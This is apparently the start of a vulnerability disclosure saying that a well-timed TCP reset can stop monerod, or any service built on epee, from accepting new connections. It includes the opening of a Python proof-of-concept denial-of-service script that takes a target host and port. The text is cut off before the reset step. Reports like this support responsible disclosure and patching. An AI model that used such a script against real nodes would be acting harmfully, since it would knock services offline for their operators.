monerod can be disabled by a well-timed TCP reset packet

**Summary:** A well-timed TCP reset (RST) can cause monerod (or any service relying on epee) to stop accepting new connections.

#!/usr/bin/env python3
  
import socket, struct, sys

tgt_host = sys.argv[1]
tgt_port = int(sys.argv[2])

# Normal connection, send some data, end with graceful FIN.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((tgt_host, tgt_port))
s.send(b"hello")
s.close()

# Abnormal …